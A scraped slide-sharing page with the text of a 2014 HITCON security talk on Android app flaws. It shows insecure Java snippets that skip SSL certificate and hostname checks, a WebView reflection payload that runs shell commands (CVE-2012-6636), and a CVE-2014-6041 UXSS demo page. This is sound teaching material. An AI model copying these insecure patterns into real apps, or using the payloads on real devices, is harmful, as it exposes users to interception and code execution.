[2014/10/06] hitcon freetalk - app security on android

45
App Security on Android 岑志豪 Anfa Sam [email protected] 戴夫寇爾股份有限公司

Upload: devcore

Post on 01-Dec-2014

1.826 views

Category:

Software


1 download

DESCRIPTION

[2014/10/06] HITCON Freetalk - App Security on Android

TRANSCRIPT

Page 1: [2014/10/06] HITCON Freetalk - App Security on Android

App Security on Android

岑志豪 Anfa Sam [email protected]

戴夫寇爾股份有限公司

Page 2: [2014/10/06] HITCON Freetalk - App Security on Android
Page 3: [2014/10/06] HITCON Freetalk - App Security on Android
Page 4: [2014/10/06] HITCON Freetalk - App Security on Android
Page 5: [2014/10/06] HITCON Freetalk - App Security on Android
Page 6: [2014/10/06] HITCON Freetalk - App Security on Android

6

Page 7: [2014/10/06] HITCON Freetalk - App Security on Android

7

Page 8: [2014/10/06] HITCON Freetalk - App Security on Android
Page 9: [2014/10/06] HITCON Freetalk - App Security on Android

9

Page 10: [2014/10/06] HITCON Freetalk - App Security on Android

10

1. Client Hello

2. Server Hello3. Certificate

4. ServerHelloDone

5. ClientKeyExchange6. ChangeCipherSpec7. Handshake Finished

8. ChangeCipherSpec9. Handshake Finished

10. Application Data (HTTP)11. Application Data (HTTP)

Server Authentication

SSL 加密連線handshake 過程

Page 11: [2014/10/06] HITCON Freetalk - App Security on Android

檢查伺服器憑證

‧不是只要透過 SSL 加密連線就會安全

‧需要檢查伺服器所使用的憑證是否可靠合法

11

Page 12: [2014/10/06] HITCON Freetalk - App Security on Android

Attacker

Victim

中間⼈人攻擊 (Man-In-The-Middle Attack)

12

Server

Page 13: [2014/10/06] HITCON Freetalk - App Security on Android

13

Page 14: [2014/10/06] HITCON Freetalk - App Security on Android
Page 15: [2014/10/06] HITCON Freetalk - App Security on Android

15

Page 16: [2014/10/06] HITCON Freetalk - App Security on Android

16

!URL url = new URL("https://wikipedia.org"); URLConnection urlConnection = url.openConnection(); InputStream in = urlConnection.getInputStream(); !… !WebView mWebView = (WebView) findViewById(R.id.webView); mWebView.loadUrl("https://wikipedia.org");

Page 17: [2014/10/06] HITCON Freetalk - App Security on Android

17

Page 18: [2014/10/06] HITCON Freetalk - App Security on Android

18ref: http://devco.re/blog/2014/08/15/ssl-mishandling-on-mobile-app-development/

Page 19: [2014/10/06] HITCON Freetalk - App Security on Android

19ref: http://www.zdnet.com/hundreds-of-android-apps-open-to-ssl-linked-intercept-fail-7000033365/

Page 20: [2014/10/06] HITCON Freetalk - App Security on Android

20ref: http://www.kb.cert.org/vuls/id/582497

Page 21: [2014/10/06] HITCON Freetalk - App Security on Android

‣‣

21ref: http://www.find.org.tw/find/home.aspx?page=many&id=385

Page 22: [2014/10/06] HITCON Freetalk - App Security on Android
Page 23: [2014/10/06] HITCON Freetalk - App Security on Android

23

憑證被判斷為無效的 SSL 連線,藉由 handler.proceed() ⽽而繼續執⾏行

!!mWebView.setWebViewClient(new WebViewClient() { @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); // Ignore SSL certificate errors } }); !

Page 24: [2014/10/06] HITCON Freetalk - App Security on Android

24

TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { } ! @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { } ! @Override public X509Certificate[] getAcceptedIssuers() { return null; } }}; !SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustAllManager, null);

預設有實作 SSL 檢查的元件被置換成忽略 SSL 檢查的元件

Page 25: [2014/10/06] HITCON Freetalk - App Security on Android

25

!URL url = new URL("https://www.example.com/"); HttpsURLConnection conn = (HttpsURLConnection) url.openConnection(); !conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); // or ... conn.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; } });

不作核對,容許所有主機名稱通過檢查

Page 26: [2014/10/06] HITCON Freetalk - App Security on Android

26

Page 27: [2014/10/06] HITCON Freetalk - App Security on Android
Page 28: [2014/10/06] HITCON Freetalk - App Security on Android

28

Page 29: [2014/10/06] HITCON Freetalk - App Security on Android

29

class JsObject { public String toString() { return "Hello World"; } } !webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadUrl("http://www.example.com/"); !<html> <head>… <script> alert(injectedObject.toString()); </script> </head> <body>…</body> </html>

Hello World

Page 30: [2014/10/06] HITCON Freetalk - App Security on Android
Page 31: [2014/10/06] HITCON Freetalk - App Security on Android

31

Page 32: [2014/10/06] HITCON Freetalk - App Security on Android

32

!<script> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null) .invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]); </script>

Java Reflection API

Page 33: [2014/10/06] HITCON Freetalk - App Security on Android

33

Page 35: [2014/10/06] HITCON Freetalk - App Security on Android

35

Page 36: [2014/10/06] HITCON Freetalk - App Security on Android

36

Page 37: [2014/10/06] HITCON Freetalk - App Security on Android

37

Page 38: [2014/10/06] HITCON Freetalk - App Security on Android

38

Page 39: [2014/10/06] HITCON Freetalk - App Security on Android

39

測試 URL: http://devstd.in/cve/2014-6041/

測試環境: Android 4.1.1

!<html> <head> <title>CVE-2014-6041 UXSS DEMO</title> </head> <body> <iframe name="target_frame" src="http://devco.re/"></iframe> <br /> <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.body.innerHTML)', 'target_frame')" /> </body> </html>

Page 40: [2014/10/06] HITCON Freetalk - App Security on Android

40

UC Browser HD 3.4.1.483

CM Browser5.0.74

Maxthon Browser4.3.2.2000

測試結果

Page 41: [2014/10/06] HITCON Freetalk - App Security on Android

41

Page 42: [2014/10/06] HITCON Freetalk - App Security on Android

42

CVE-2012-6636 CVE-2014-1939 CVE-2014-6041

Android 2.X vulnerable non-vulnerable non-vulnerable

Android 3.X vulnerable vulnerable non-vulnerable

Android 4.0.X vulnerable vulnerable vulnerable

Android 4.1.X vulnerable vulnerable vulnerable

Android 4.2.X non-vulnerable non-vulnerable vulnerable

Android 4.3.X non-vulnerable non-vulnerable vulnerable

Android 4.4.X non-vulnerable non-vulnerable non-vulnerable

Page 43: [2014/10/06] HITCON Freetalk - App Security on Android

43

Page 44: [2014/10/06] HITCON Freetalk - App Security on Android

44

Page 45: [2014/10/06] HITCON Freetalk - App Security on Android